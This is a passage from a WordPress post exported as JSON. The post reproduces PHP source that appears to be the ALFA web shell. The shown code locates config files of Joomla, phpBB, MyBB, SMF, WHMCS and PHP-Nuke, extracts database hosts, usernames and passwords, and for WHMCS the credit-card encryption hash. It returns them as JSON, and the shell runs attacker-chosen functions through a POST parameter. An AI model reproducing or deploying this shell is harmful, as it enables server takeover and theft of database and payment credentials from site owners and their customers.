]{0,};\/\",3)\n),\n'phpnuke'=>array('file'=>'\/config.php',\n'host'=>array('\/dbhost(\\s+)=(\\s+)(?:\\'|\")(.*?)(?:\\'|\");\/',3),\n'dbname'=>array('\/dbname(\\s+)=(\\s+)(?:\\'|\")(.*?)(?:\\'|\");\/',3),\n'dbuser'=>array('\/dbuname(\\s+)=(\\s+)(?:\\'|\")(.*?)(?:\\'|\");\/',3),\n'dbpw'=>array('\/dbpass(\\s+)=(\\s+)(?:\\'|\")(.*?)(?:\\'|\");\/',3),\n'prefix'=>array('\/prefix(\\s+)=(\\s+)(?:\\'|\")(.*?)(?:\\'|\");\/',3)\n),\n'smf'=>array('file'=>'\/Settings.php',\n'host'=>array(\"\/db_server(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'dbname'=>array(\"\/db_name(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'dbuser'=>array(\"\/db_user(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'dbpw'=>array(\"\/db_passwd(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'prefix'=>array(\"\/db_prefix(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3)\n),\n'whmcs'=>array('file'=>'\/configuration.php',\n'host'=>array(\"\/db_host(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'dbname'=>array(\"\/db_name(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'dbuser'=>array(\"\/db_username(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'dbpw'=>array(\"\/db_password(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'cc_encryption_hash'=>array(\"\/cc_encryption_hash(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3)\n),\n'joomla'=>array('file'=>'\/configuration.php',\n'host'=>array(\"\/\\\\\\$host(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'dbname'=>array(\"\/\\\\\\$db(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'dbuser'=>array(\"\/\\\\\\$user(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'dbpw'=>array(\"\/\\\\\\$password(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'prefix'=>array(\"\/\\\\\\$dbprefix(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3)\n),\n'phpbb'=>array('file'=>'\/config.php',\n'host'=>array(\"\/dbhost(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'dbname'=>array(\"\/dbname(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'dbuser'=>array(\"\/dbuser(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'dbpw'=>array(\"\/dbpasswd(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'prefix'=>array(\"\/table_prefix(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3)\n),\n'mybb'=>array('file'=>'\/inc\/config.php',\n'host'=>array(\"\/config\\&#91;'database'\\]\\&#91;'hostname'\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'dbname'=>array(\"\/config\\&#91;'database'\\]\\&#91;'database'\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'dbuser'=>array(\"\/config\\&#91;'database'\\]\\&#91;'username'\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'dbpw'=>array(\"\/config\\&#91;'database'\\]\\&#91;'password'\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\n'prefix'=>array(\"\/config\\&#91;'database'\\]\\&#91;'table_prefix'\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3)\n)\n);\nif($cms == \"drupal\"){\n$file = $config&#91;$cms]&#91;'file'];\n$file=$path.$file;\nif(@is_file($file)||_alfa_is_dir($file,\"-e\")){\n}else{\n$cms = 'drupal2';\n}\n}\nif($cms == \"vb\"){\n$file = $config&#91;$cms]&#91;'file'];\n$file=$path.$file;\nif(@is_file($file)||_alfa_is_dir($file,\"-e\")){\n}else{\n$path .= '\/core';\n}\n}\n$data = array();\n$srch_host = $config&#91;$cms]&#91;'host']&#91;0];\n$srch_user = $config&#91;$cms]&#91;'dbuser']&#91;0];\n$srch_name = $config&#91;$cms]&#91;'dbname']&#91;0];\n$srch_pw = $config&#91;$cms]&#91;'dbpw']&#91;0];\n$prefix = $config&#91;$cms]&#91;'prefix']&#91;0];\n$file = $config&#91;$cms]&#91;'file'];\n$chost = $config&#91;$cms]&#91;'host']&#91;1];\n$cuser = $config&#91;$cms]&#91;'dbuser']&#91;1];\n$cname = $config&#91;$cms]&#91;'dbname']&#91;1];\n$cpw = $config&#91;$cms]&#91;'dbpw']&#91;1];\n$cprefix = $config&#91;$cms]&#91;'prefix']&#91;1];\nif(@is_dir($path)||_alfa_is_dir($path)){\n$file=$path.$file;\n}elseif(@is_file($path)||_alfa_is_dir($path,\"-e\")){\n$file=$path;\n}else{\nreturn false;\n}\n$file = __read_file($file);\nif($cms == \"drupal2\"){\n$file = preg_replace(\"\/\\@code(.*?)\\@endcode\/s\", \"\", $file);\n}elseif($cms == \"vb\"){\n$file = preg_replace(\"\/right of the(.*?)BAD!\/s\", \"\", $file);\n}\nif(preg_match($srch_host, $file, $mach)){\n$data&#91;'host'] = $mach&#91;$chost];\n}\nif(preg_match($srch_user, $file, $mach)){\n$data&#91;'user'] = $mach&#91;$cuser];\n}\nif(preg_match($srch_name, $file, $mach)){\n$data&#91;'dbname'] = $mach&#91;$cname];\n}\nif(preg_match($srch_pw, $file, $mach)){\n$data&#91;'password'] = $mach&#91;$cpw];\n}\nif(isset($prefix)){\nif(preg_match($prefix, $file, $mach)){\n$data&#91;'prefix'] = $mach&#91;$cprefix];\n}\n}\nif($cms=='whmcs'){\nif(preg_match($config&#91;$cms]&#91;'cc_encryption_hash']&#91;0], $file, $mach)){\n$data&#91;'cc_encryption_hash'] = $mach&#91;3];\n}\n}\necho json_encode($data);\n}\nif(empty($_POST&#91;'a']))\nif(isset($default_action) &amp;&amp; function_exists('alfa' . $default_action))\n$_POST&#91;'a'] = $default_action;\nelse\n$_POST&#91;'a'] = 'FilesMan2';\nif(!empty($_POST&#91;'a']) &amp;&amp; function_exists('alfa' . $_POST&#91;'a']))\ncall_user_func('alfa' . $_POST&#91;'a']);\nexit;\n?><\/code><\/pre>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16],"tags":[],"class_list":["post-6327","post","type-post","status-publish","format-standard","hentry","category-php"],"_links":{"self":[{"href":"http:\/\/xc.ipyingshe.net:5347\/index.php?rest_route=\/wp\/v2\/posts\/6327","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/xc.ipyingshe.net:5347\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/xc.ipyingshe.net:5347\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/xc.ipyingshe.net:5347\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/xc.ipyingshe.net:5347\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6327"}],"version-history":[{"count":2,"href":"http:\/\/xc.ipyingshe.net:5347\/index.php?rest_route=\/wp\/v2\/posts\/6327\/revisions"}],"predecessor-version":[{"id":6330,"href":"http:\/\/xc.ipyingshe.net:5347\/index.php?rest_route=\/wp\/v2\/posts\/6327\/revisions\/6330"}],"wp:attachment":[{"href":"http:\/\/xc.ipyingshe.net:5347\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6327"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/xc.ipyingshe.net:5347\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6327"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/xc.ipyingshe.net:5347\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6327"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}